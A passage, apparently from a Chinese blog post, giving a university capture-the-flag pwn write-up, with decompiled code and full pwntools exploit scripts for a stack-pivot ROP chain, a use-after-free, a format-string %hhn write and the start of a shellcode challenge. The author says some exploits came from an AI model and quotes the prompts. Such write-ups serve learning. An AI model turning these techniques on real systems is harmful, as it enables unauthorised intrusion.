gift\u8fd4\u56de\u540e\u6267\u884csyscall<br>payload += bytes(frame) &nbsp; &nbsp;# \u6dfb\u52a0\u4f2a\u9020\u7684Signal Frame<br>\u200b<br># \u53d1\u9001payload\u5e76\u83b7\u53d6shell<br>r = remote('ctf.ctbu.edu.cn', 33204)<br>r.send(payload)<br>r.interactive()<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">[PWN]ez_stack \ud83d\udc19<\/h4>\n\n\n\n<p>\u6808\u8fc1\u79fb\uff08\u7b2c\u4e8c\u6b21\u73a9\uff09<\/p>\n\n\n\n<p>main\u51fd\u6570\u8fdb\u53bb\u5c31\u4fe9\u51fd\u6570<\/p>\n\n\n\n<p>title\u4e0d\u7ba1\uff0cvuln\u770b\u770b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>__int64 vuln()<br>{<br> &nbsp;_BYTE buf&#91;48]; \/\/ &#91;rsp+0h] &#91;rbp-30h] BYREF<br>\u200b<br> &nbsp;puts(\"What's your name?\");<br> &nbsp;read(0, &amp;name, 0x100uLL);<br> &nbsp;puts(\"Ok! Just do it!\");<br> &nbsp;read(0, buf, 0x38uLL);<br> &nbsp;return 0LL;<br>}<\/code><\/pre>\n\n\n\n<p>read\u51fd\u6570\u8f93\u5165\u8fdb\u53bb\uff0cbuf\u5c31\u5403\u6389\u4e860x30\uff0c\u5c31\u53ea\u80fd\u8986\u76d60x8\u5b57\u8282\u5185\u5bb9<\/p>\n\n\n\n<p>\u4e0d\u591f\u53ea\u80fd\u5916\u501f\u4e86<\/p>\n\n\n\n<p>\u53ea\u80fd\u5230\u5904\u627e\u54ea\u80fd\u5199\u70b9\u4e1c\u897f\u8fdb\u53bb<\/p>\n\n\n\n<p>bss\u6bb5\u53ef\u8bfb\u53ef\u5199\uff0c\u4e00\u7ffb\u8fd8\u771f\u6709\u8bf4\u6cd5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">.bss:0000000000404080 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; public name<br>.bss:0000000000404080 name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  db &nbsp;  ? ; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; DATA XREF: vuln+20\u2191o<\/pre>\n\n\n\n<p>\u90a3\u601d\u8def\u5c31\u662f\u901a\u8fc7\u6ea2\u51fa\uff0c\u5c06<code>RBP<\/code>\u8986\u76d6\u4e3a<code>name<\/code>\u7684\u5730\u5740\uff08<code>0x404080<\/code>\uff09<\/p>\n\n\n\n<p>\u5c06\u8fd4\u56de\u5730\u5740\u8986\u76d6\u4e3a<code>ret<\/code>\u6307\u4ee4\uff08<code>0x40101a<\/code>\uff09\uff0c\u7528\u4e8e\u6808\u5bf9\u9f50<\/p>\n\n\n\n<p><code>name<\/code>\u91cc\u9762\u5c31\u968f\u4fbf\u5199\u4e86<\/p>\n\n\n\n<p><code>\/bin\/sh<\/code>\u53c8\u5728\u9644\u4ef6\u4e2d\u80fd\u627e\u5230<\/p>\n\n\n\n<p>\u76f4\u63a5\u5f00\u4e2a<code>execve<\/code>\u7136\u540e<code>rdi<\/code>\u6307\u5411<code>\/bin\/sh<\/code>\u76f4\u63a5\u5c31\u5b8c\u6210\u63d0\u6743\u4e86\uff08\uff09<\/p>\n\n\n\n<p>\u81f3\u4e8eexecve\uff0c\u8fd9\u4e2a\u597d\u641e\uff0cROPgadget\u4e00\u7ffb\u5c31\u627e\u5230\u8fd9\u51e0\u4e2a\u80fd\u7528\u7684pop<\/p>\n\n\n\n<p>pop\u4f20\u53c2\u8fdb\u5bf9\u5e94\u5bc4\u5b58\u5668\u5b8c\u6210\u7cfb\u7edf\u8c03\u7528<\/p>\n\n\n\n<p>\u76f4\u63a5\u5c31get shell<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>\u200b<br>context(arch='amd64', os='linux', log_level='debug')<br>\u200b<br>r = remote('ctf.ctbu.edu.cn', 33301)<br>\u200b<br>name_addr = 0x404080<br>ret_addr = 0x40101a<br>pop_rdi = 0x401180<br>pop_rsi = 0x401182<br>pop_rdx = 0x40117a<br>pop_rax_syscall = 0x40117d<br>bin_sh = 0x404028<br>\u200b<br>\u200b<br>payload1 = flat(&#91;<br> &nbsp; &nbsp;0, &nbsp;<br> &nbsp; &nbsp;pop_rdi, bin_sh,<br> &nbsp; &nbsp;pop_rsi, 0,<br> &nbsp; &nbsp;pop_rdx, 0,<br> &nbsp; &nbsp;pop_rax_syscall, 59<br>])<br>\u200b<br>\u200b<br>payload2 = b'A'*48 + p64(name_addr) + p64(ret_addr)<br>\u200b<br>\u200b<br>\u200b<br>\u200b<br>r.sendlineafter(b\"What's your name?\\n\", payload1)<br>r.sendlineafter(b\"Ok! Just do it!\\n\", payload2)<br>\u200b<br>r.interactive()<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">[PWN]uaf \ud83d\udc7b<\/h4>\n\n\n\n<p>emmm\uff0c\u8fd9\u9898\u6211\u4e0d\u4f1a\u7684\uff08\uff09<\/p>\n\n\n\n<p>\u539f\u672c\u53ea\u662f\u968f\u624b\u770b\u770b\u80fd\u4e0d\u80fd\u7529\u7ed9AI\u7ed9\u6211\u7406\u4e2a\u5806\u9898\u7684\u903b\u8f91\u51fa\u6765\u6211\u518d\u6162\u6162\u586b\u677f\u5b50\u7684<\/p>\n\n\n\n<p>\u7ed3\u679c\u4fe1\u606f\u7ed9\u591f\u4e86\u5b83\u76f4\u63a5\u5c31\u7ed9\u6211\u641e\u4e86\u4e2a\u5b8c\u6574exp\u7136\u540e\u8fd8\u51fa\u4e86<\/p>\n\n\n\n<p>\u7559\u4e2a\u63d0\u95ee\u4fe1\u606f\u5427\uff1a<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u8fd9\u662f\u4e00\u9053ctf pwn\u6311\u6218\u8d5b\u9898 main\u51fd\u6570\u5982\u4e0b\uff1a \/\/ local variable allocation has failed, the output may be wrong! int <em>_fastcall main(int argc, const char <strong>argv, const char <\/strong>envp) { while ( 1 ) { print_menu(*(<\/em>QWORD *)&amp;argc, argv, envp); switch ( (unsigned int)get_num() ) { case 1u: adopt_dog(); break; case 2u: Release_dog(); break; case 3u: edit_dog(); break; case 4u: Check_ans(); case 5u: puts(&#8220;Goodbye, you will never find a safer program!\\n&#8221;); exit(0); default: *(_QWORD *)&amp;argc = &#8220;Invalid option!\\n&#8221;; puts(&#8220;Invalid option!\\n&#8221;); break; } } } main\u51fd\u6570\u5730\u5740\uff1amain .text 000000000000183D \u8fd9\u662f\u4e2a\u5e38\u89c4\u7684\u83dc\u5355main\u51fd\u6570 \u9009\u98791\u7684adopt_dog\u51fd\u6570\u5185\u5bb9\u5982\u4e0b\uff1a int adopt_dog() { int v1; \/\/ ebx int num; \/\/ [rsp+4h] [rbp-1Ch] size_t v3; \/\/ [rsp+8h] [rbp-18h]<\/p>\n\n\n\n<p>if ( cur_alloc_index &gt; 2 ) return puts(&#8220;Too many dogs!&#8221;); puts(&#8220;What is the name of the dog?&#8221;); fgets((char *)&amp;dog_array + 56 * cur_alloc_index, 32, stdin); v3 = strlen((const char *)&amp;dog_array + 56 * cur_alloc_index); if ( v3 &amp;&amp; *((<em>BYTE *)&amp;dog_array + 56 * cur_alloc_index + v3 &#8211; 1) == 10 ) *((<\/em>BYTE *)&amp;dog_array + 56 * cur_alloc_index + v3 &#8211; 1) = 0; puts(&#8220;How much space do you need to describe this dog?&#8221;); num = get_num(); v1 = cur_alloc_index; *((<em>QWORD *)&amp;unk_4088 + 7 * v1) = malloc(num); *((<\/em>DWORD *)&amp;unk_4080 + 14 * cur_alloc_index) = num; dword_4090[14 * cur_alloc_index] = -559038737; if ( !*((_QWORD *)&amp;unk_4088 + 7 * cur_alloc_index) ) { puts(&#8220;Alloc call failed&#8221;); exit(1); } puts(&#8220;Successful adoption!&#8221;); return ++cur_alloc_index; } \u9009\u98792\uff1a int Release_dog() { int num; \/\/ [rsp+Ch] [rbp-4h]<\/p>\n\n\n\n<p>puts(&#8220;Which dog would you like to release?&#8221;); num = get_num(); if ( num &gt; 2 ) return puts(&#8220;Provided index out of bounds, this is not possible!&#8221;); if ( dword_4090[14 * num] != -559038737 ) return puts(&#8220;Provided index hasn&#8217;t yet been allocated, can&#8217;t reallocate!&#8221;); free(*((void **)&amp;unk_4088 + 7 * num)); return printf(&#8220;%s has been released! It will leave you forever.\\n&#8221;, (const char *)&amp;dog_array + 56 * num); } \u9009\u98793\uff1a int edit_dog() { int num; \/\/ [rsp+Ch] [rbp-4h]<\/p>\n\n\n\n<p>puts(&#8220;Which dog&#8217;s info do you want to edit?&#8221;); num = get_num(); if ( num &gt; 2 ) return puts(&#8220;Provided index out of bounds, this is not possible!&#8221;); if ( dword_4090[14 * num] != -559038737 ) return puts(&#8220;Provided index hasn&#8217;t yet been allocated, can&#8217;t edit!&#8221;); puts(&#8220;Please edit its information.&#8221;); return read(0, *((void **)&amp;unk_4088 + 7 * num), *((unsigned int *)&amp;unk_4080 + 14 * num)); } \u9009\u98794\uff1a void __noreturn Check_ans() { const char *v0; \/\/ rdi<\/p>\n\n\n\n<p>v0 = (const char *)malloc(0x48uLL); if ( !strcmp(v0, &#8220;ez uaf&#8221;) ) win(); puts(&#8220;Hah, you missed your shot!&#8221;); exit(0); } \u9009\u98794\u4e2d\u7684win\u51fd\u6570\uff1a void __noreturn win() { printf(&#8220;The flag is: &#8220;); system(&#8220;cat flag&#8221;); exit(1); } \u8fd9\u662f\u4e00\u9053pwn\u65b9\u5411\u8003\u5bdfUAF\u7684\u9898\uff0c\u5404\u51fd\u6570\u7684\u5730\u5740\u5982\u4e0b\uff1a adopt_dog .text 0000000000001413 Release_dog .text 0000000000001625 edit_dog .text 0000000000001701 Check_ans .text 00000000000017E2 win .text 00000000000013DE \u73b0\u5728\u8003\u8651\u5982\u4f55\u6784\u9020exp\uff0c\u6765\u6253\u901a\u8fd9\u9898 \u76ee\u6807\u670d\u52a1\u5668\uff1actf.ctbu.edu.cn:33210 \uff0c\u7528pwn\u5e93\u7684remote\u65b9\u6cd5\u8fdb\u884c\u8fde\u63a5<\/p>\n\n\n\n<p>int print_menu() { puts(&#8220;[1] Adopt a dog&#8221;); puts(&#8220;[2] Release a dog&#8221;); puts(&#8220;[3] Edit dog Info&#8221;); puts(&#8220;[4] Check the answer&#8221;); puts(&#8220;[5] Exit&#8221;); return printf(&#8220;\\n &gt; &#8220;); } \u8fdb\u884c\u4ea4\u4e92\u65f6\uff0c\u4f1a\u5148\u8fdb\u5165print_menu\u51fd\u6570\uff0c\u4e5f\u5c31\u662f\u4e0a\u9762\u7684\u4ee3\u7801\u51fd\u6570 \u6839\u636e\u8fd9\u4e2a\u60c5\u51b5\u6539\u5199\u4e00\u4e0bexp\uff0c\u4ee5\u6c42\u9002\u914d<\/p>\n<\/blockquote>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>\u200b<br>context(arch='amd64', os='linux', log_level='debug')<br>\u200b<br>p = remote('ctf.ctbu.edu.cn', 33210)<br>\u200b<br>def adopt_dog(name, size):<br> &nbsp; &nbsp;p.sendlineafter(b'&gt; ', b'1') &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u9009\u62e9\u9009\u98791<br> &nbsp; &nbsp;p.sendlineafter(b'What is the name of the dog?\\n', name)<br> &nbsp; &nbsp;p.sendlineafter(b'How much space do you need to describe this dog?\\n', str(size).encode())<br>\u200b<br>def release_dog(index):<br> &nbsp; &nbsp;p.sendlineafter(b'&gt; ', b'2') &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u9009\u62e9\u9009\u98792<br> &nbsp; &nbsp;p.sendlineafter(b'Which dog would you like to release?\\n', str(index).encode())<br>\u200b<br>def edit_dog(index, data):<br> &nbsp; &nbsp;p.sendlineafter(b'&gt; ', b'3') &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u9009\u62e9\u9009\u98793<br> &nbsp; &nbsp;p.sendlineafter(b\"Which dog's info do you want to edit?\\n\", str(index).encode())<br> &nbsp; &nbsp;p.send(data) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u76f4\u63a5\u53d1\u9001\u6570\u636e\uff08\u65e0\u9700\u6362\u884c\uff09<br>\u200b<br># 1. \u5206\u914d\u5e76\u91ca\u653e0x48\u7684\u5757<br>adopt_dog(b'dummy', 0x48) &nbsp; &nbsp;# \u5206\u914d\u7d22\u5f150\uff0c\u5927\u5c0f0x48<br>release_dog(0) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# \u91ca\u653e\u7d22\u5f150\uff08\u89e6\u53d1UAF\uff09<br>\u200b<br># 2. \u7be1\u6539\u5df2\u91ca\u653e\u5757\u7684\u5185\u5bb9\u4e3a\"ez uaf\"<br>edit_dog(0, b'ez uaf\\x00') &nbsp; # \u901a\u8fc7UAF\u5199\u5165\u76ee\u6807\u5b57\u7b26\u4e32<br>\u200b<br># 3. \u89e6\u53d1Check_ans\uff0c\u6b64\u65f6malloc(0x48)\u4f1a\u590d\u7528\u88ab\u7be1\u6539\u7684\u5757<br>p.sendlineafter(b'&gt; ', b'4') &nbsp;# \u9009\u62e9\u9009\u98794<br>\u200b<br># 4. \u83b7\u53d6flag<br>p.interactive()<\/code><\/pre>\n\n\n\n<p>\uff08\u6821\u8d5bwp\u5c31\u6682\u65f6\u4e0d\u7406\u4f1a\u539f\u7406\u4e86\uff0c\u6253\u5b8c\u518d\u91cd\u65b0\u590d\u73b0\u73a9\u73a9\uff0c\u73a9\u660e\u767d\u4e86\u518d\u91cd\u65b0\u8d34\u4e00\u7bc7UAF\uff09<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">[PWN]just_one \ud83c\udfaf<\/h4>\n\n\n\n<p>\u4fdd\u62a4\u5168\u5f00\uff0c\u597d\u75db\u82e6\uff08\uff09<\/p>\n\n\n\n<p>\u660e\u8bf4\u4e86fmt<\/p>\n\n\n\n<p>\u53d1\u73b0AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p\u8fd9\u79cd\u4ea4\u4e92\uff0c\u5c45\u7136\u4f1a\u76f4\u63a5\u9000\u51fa\uff08\u5dee\u70b9\u56e0\u4e3a\u8fd9\u4e2a\u95ee\u9898\u76f4\u63a5\u529d\u9000\u4e86\uff09<\/p>\n\n\n\n<p>\u540e\u9762\u60f3\u8d77\u6765\u8fd8\u53ef\u4ee5\u6362AAAA%x$p\u6765\u627e\uff08\u5f53\u65f6\u60f3\u77405~15\u4e8c\u5206\u6cd5\u627e\uff0c\u7ed3\u679c\u5c45\u7136\u662f6\uff0c\u8fd8\u4e0d\u5982\u76f4\u63a5\u6328\u7740\u731c\uff09<\/p>\n\n\n\n<p>\u5728AAAA%6$p\u8fdb\u884c\u4ea4\u4e92\u7684\u65f6\u5019\uff0c\u62ff\u5230\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>AAAA0x7024362541414141<\/code><\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e00\u8fde\u4e32\u768441\uff0c\u5bf9\u5473\u4e86<\/p>\n\n\n\n<p>\u9501\u5b9a\u7b2c\u516d\u4f4d\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>unsigned __int64 vuln()<br>{<br> &nbsp;_QWORD buf&#91;513]; \/\/ &#91;rsp+0h] &#91;rbp-1010h] BYREF<br> &nbsp;unsigned __int64 v2; \/\/ &#91;rsp+1008h] &#91;rbp-8h]<br>\u200b<br> &nbsp;v2 = __readfsqword(0x28u);<br> &nbsp;memset(buf, 0, 0x1000uLL);<br> &nbsp;buf&#91;100] = 3735928558LL;<br> &nbsp;buf&#91;200] = &amp;buf&#91;100];<br> &nbsp;puts(\"This fmt is not difficult, but it will test your basic skills.\");<br> &nbsp;puts(\"Come on, you can do it.\\n\");<br> &nbsp;puts(\"Show me your payload\");<br> &nbsp;printf(\"&gt; \");<br> &nbsp;read(0, buf, 0x10uLL);<br> &nbsp;printf((const char *)buf);<br> &nbsp;if ( buf&#91;100] == 3735928559LL )<br> &nbsp; &nbsp;backdoor();<br> &nbsp;else<br> &nbsp; &nbsp;puts(\"Bye bye~\");<br> &nbsp;return v2 - __readfsqword(0x28u);<br>}<\/code><\/pre>\n\n\n\n<p><code>buf[100] = 3735928558LL;<\/code><\/p>\n\n\n\n<p>\u6362\u4e2a\u5199\u6cd5\u5c31<code>0xdeadbeee<\/code>\u561b<\/p>\n\n\n\n<p>\u60f3\u8fdbbackdoor\u5c31\u5fc5\u987b\u8981\u52a01<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"> &nbsp;if ( buf[100] == 3735928559LL )<br> &nbsp; &nbsp;backdoor();<\/pre>\n\n\n\n<p>\u6240\u4ee5<code>0xdeadbeee<\/code> &#8212;-&gt; <code>0xdeadbeef<\/code>\u624d\u884c<\/p>\n\n\n\n<p><strong>\u89c2\u5bdf\u5dee\u5f02<\/strong>\uff1a<code>0xdeadbeee<\/code> \u548c <code>0xdeadbeef<\/code> \u7684\u552f\u4e00\u533a\u522b\u662f <strong>\u6700\u4f4e\u5b57\u8282<\/strong>\uff1a<\/p>\n\n\n\n<p><code>0xdeadbeee<\/code> \u2192 \u6700\u4f4e\u5b57\u8282\u4e3a <code>0xee<\/code>\uff08\u5341\u8fdb\u5236 <code>238<\/code>\uff09\u3002<\/p>\n\n\n\n<p><code>0xdeadbeef<\/code> \u2192 \u6700\u4f4e\u5b57\u8282\u4e3a <code>0xef<\/code>\uff08\u5341\u8fdb\u5236 <code>239<\/code>\uff09\u3002<\/p>\n\n\n\n<p>\u8981\u6539\u4e00\u5b57\u8282\uff0c\u6240\u4ee5\u9650\u5236\u633a\u5927\u7684\uff08\uff09<\/p>\n\n\n\n<p>\u6240\u4ee5\u5f97\u7528%hhn<\/p>\n\n\n\n<p><strong><code>%hhn<\/code> \u7684\u4f5c\u7528<\/strong>\uff1a\u5411\u76ee\u6807\u5730\u5740\u5199\u5165 <strong>1 \u5b57\u8282<\/strong>\uff08\u5373\u5df2\u8f93\u51fa\u5b57\u7b26\u6570\u7684\u4f4e 8 \u4f4d\uff09<\/p>\n\n\n\n<p><strong><code>%n<\/code> \u7684\u4f5c\u7528<\/strong>\uff1a\u5411\u76ee\u6807\u5730\u5740\u5199\u5165 <code>int<\/code> \u6216 <code>long<\/code> \u7c7b\u578b\uff084 \u6216 8 \u5b57\u8282\uff09\uff0c\u8fd9\u4f1a\u8986\u76d6\u66f4\u591a\u5185\u5b58\u533a\u57df<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">read(0, buf, 0x10uLL);<\/pre>\n\n\n\n<p>\u4e0a\u9762\u4e5f\u662f\u9650\u5236\u7528%hhn\u7684\u539f\u56e0\uff0c\u6bd5\u7adf\u8fd9\u6837\u624d\u80fd\u5c3d\u53ef\u80fd\u7684\u77ed<\/p>\n\n\n\n<p><strong>\u6b64\u5904\u9700\u6c42<\/strong>\uff1a\u53ea\u9700\u4fee\u6539 <strong>1 \u5b57\u8282<\/strong>\uff08\u4ece <code>0xee<\/code> \u5230 <code>0xef<\/code>\uff09\uff0c\u4f7f\u7528 <code>%hhn<\/code> \u66f4\u7cbe\u51c6\uff0c\u4e14\u907f\u514d\u610f\u5916\u7834\u574f\u5176\u4ed6\u5185\u5b58<\/p>\n\n\n\n<p>\u8981\u5c06 <code>0xee<\/code>\uff08<code>238<\/code>\uff09\u6539\u4e3a <code>0xef<\/code>\uff08<code>239<\/code>\uff09\uff0c\u9700\u5199\u5165\u7684\u503c\u4e3a <code>239<\/code><\/p>\n\n\n\n<p><code>%239c<\/code> \u4f1a\u8f93\u51fa <code>239<\/code> \u4e2a\u5b57\u7b26\uff08\u586b\u5145\u7a7a\u683c\uff09\uff0c\u4f7f\u603b\u8f93\u51fa\u7684\u5b57\u7b26\u6570\u8fbe\u5230 <code>239<\/code><\/p>\n\n\n\n<p><strong><code>buf[200]<\/code>\u7684\u4f4d\u7f6e\u8ba1\u7b97<\/strong>\uff1a<\/p>\n\n\n\n<p><code>buf<\/code>\u8d77\u59cb\u4e8e\u7b2c6\u4e2a\u53c2\u6570<\/p>\n\n\n\n<p>\u6bcf\u4e2a<code>_QWORD<\/code>\u5143\u7d20\u53608\u5b57\u8282\uff0c\u76f8\u5f53\u4e8e1\u4e2a\u53c2\u6570\u4f4d\u7f6e<\/p>\n\n\n\n<p><code>buf[200]<\/code>\u7684\u504f\u79fb\u4e3a<code>200<\/code>\uff0c\u6545\u5728\u53c2\u6570\u5217\u8868\u4e2d\u7684\u4f4d\u7f6e\u4e3a<code>6 + 200 = 206<\/code><\/p>\n\n\n\n<p><strong>\u5173\u952e\u7ed3\u8bba<\/strong>\uff1a<code>buf[200]<\/code>\u7684\u503c\uff08\u5373<code>buf[100]<\/code>\u7684\u5730\u5740\uff09\u4f4d\u4e8e\u7b2c<strong>206\u4e2a\u53c2\u6570<\/strong><\/p>\n\n\n\n<p><code>%206$hhn<\/code> \u4f1a\u5c06 <code>239<\/code> \u7684\u4f4e 8 \u4f4d\uff08\u5373 <code>0xef<\/code>\uff09\u5199\u5165 <code>buf[100]<\/code> \u7684\u6700\u4f4e\u5b57\u8282<\/p>\n\n\n\n<p>\u90a3\u7ec4\u5408\u4e00\u4e0bpld\u5c31\u51fa\u6765\u4e86\uff08\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>\u200b<br>context.log_level = 'debug'<br>\u200b<br># \u8fde\u63a5\u5230\u8fdc\u7a0b\u670d\u52a1\u5668<br>p = remote('ctf.ctbu.edu.cn', 33229)<br>\u200b<br># \u6784\u9020\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\uff0c\u5c06buf&#91;100]\u7684\u6700\u4f4e\u5b57\u8282\u4fee\u6539\u4e3a0xef\uff08239\uff09<br>payload = b'%239c%206$hhn'<br>\u200b<br># \u53d1\u9001payload<br>p.sendlineafter(b'&gt; ', payload)<br>\u200b<br># \u83b7\u53d6\u4ea4\u4e92\u6743\u9650<br>p.interactive()<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">[PWN]shellcode_pro \ud83e\udd9e<\/h4>\n\n\n\n<p>\u71c3\u5c3d\u4e86\uff0c\u771f\u4e0d\u4f1a\u8fd9\u4e2a<\/p>\n\n\n\n<p>\u4ea4\u7ed9AI\uff0c\u5c45\u7136\u8fd8\u662f\u68ad\u51fa\u6765\u4e86<\/p>\n\n\n\n<p>\u8fd9\u8f88\u5b50\u6700\u76f8\u4fe1deepseek\u7684\u65f6\u523b<\/p>\n\n\n\n<p>\u8c03\u6559\u8fc7\u7a0b\u633a\u957f\uff08\uff09<\/p>\n\n\n\n<p>\u5927\u81f4\u8c03\u6559\u601d\u8def\u5c31\u662f\u7ed9\u51fa\u5404\u51fd\u6570\u5730\u5740\u548c\u5185\u5bb9\uff0c\u4ea4\u4ee3\u4ea4\u4e92\u6548\u679c\uff0c\u7136\u540e\u62a5\u9519\u5582\u56de\u53bb\u518d\u62a5\u9519\u518d\u5582<\/p>\n\n\n\n<p>\u6700\u540e\u770b\u5b83\u8bf4\u6cd5\u662f\u73a9\u7684ORW<\/p>\n\n\n\n<p>\uff08\u6ca1\u73a9\u8fc7\u8fd9\u4e2a\uff0c\u4e0d\u77e5\u9053\u600e\u4e48\u5224\u65ad\u73a9\u8fd9\u4e2a\u7684\uff0c\u53c8\u662f\u4e00\u9053\u8d5b\u540e\u6162\u6162\u7814\u7a76\u7684\u9898\u76ee\uff09 \u8fd8\u662f\u60ef\u4f8b\u8d34\u51fa\u63d0\u95ee\u8bcd\uff08\u63d0\u95ee\u6bb5\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u73b0\u5728\u9700\u8981\u4f60\u5e2e\u52a9\u5b8c\u6210\u4e00\u9053pwn\u9898<br>\u4e3b\u8981\u6253\u901a\u65b9\u6cd5\u662f\u4f20\u5165shellcode<br>\u6587\u4ef6\u4fdd\u62a4\u60c5\u51b5\uff1a&#91;*] 'C:\\\\Users\\\\26597\\\\Downloads\\\\Compressed\\\\shellcode_pro\\\\shellcode_pro'<br> &nbsp;  Arch: &nbsp; &nbsp; &nbsp; amd64-64-little<br> &nbsp;  RELRO: &nbsp; &nbsp;  Full RELRO<br> &nbsp;  Stack: &nbsp; &nbsp;  Canary found<br> &nbsp;  NX: &nbsp; &nbsp; &nbsp; &nbsp; NX enabled<br> &nbsp;  PIE: &nbsp; &nbsp; &nbsp;  PIE enabled<br> &nbsp;  SHSTK: &nbsp; &nbsp;  Enabled<br> &nbsp;  IBT: &nbsp; &nbsp; &nbsp;  Enabled<br> &nbsp;  Stripped: &nbsp; No<br>main\u51fd\u6570\u5730\u5740\uff1a0x1501<br>int __fastcall main(int argc, const char **argv, const char **envp)<br>{<br>  unsigned int v4; \/\/ &#91;rsp+Ch] &#91;rbp-1014h]<br>  _BYTE buf&#91;16]; \/\/ &#91;rsp+10h] &#91;rbp-1010h] BYREF<br>  unsigned __int64 v6; \/\/ &#91;rsp+1018h] &#91;rbp-8h]<br>\u200b<br>  v6 = __readfsqword(0x28u);<br>  setvbuf(stdin, 0LL, 2, 0LL);<br>  setvbuf(_bss_start, 0LL, 2, 0LL);<br>  setvbuf(stderr, 0LL, 2, 0LL);<br>  title();<br>  puts(\"Your shellcode:\");<br>  v4 = read(0, buf, 0x1000uLL);<br>  setup_shellcode(buf, v4);<br>  return 0;<br>}<br>title\u51fd\u6570\u53ea\u662f\u5355\u7eaf\u7684puts\u5185\u5bb9\uff0c\u4ea4\u4e92\u6548\u679c\u662f\uff1a<br>\u250c\u2500\u2500(kali\u327fkali)-&#91;~]<br>\u2514\u2500$ nc ctf.ctbu.edu.cn 33243<br> &nbsp;  \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557  \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557 &nbsp; &nbsp; \u2588\u2588\u2557 &nbsp; &nbsp;  \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557<br> &nbsp;  \u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u2588\u2588\u2554\u2550\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d<br> &nbsp;  \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; \u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557 &nbsp;<br> &nbsp;  \u255a\u2550\u2550\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d  \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; &nbsp; \u2588\u2588\u2551 &nbsp; \u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d &nbsp;<br> &nbsp;  \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557<br> &nbsp;  \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u255d \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2588\u2588\u2588\u2588\u2557 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br> &nbsp; 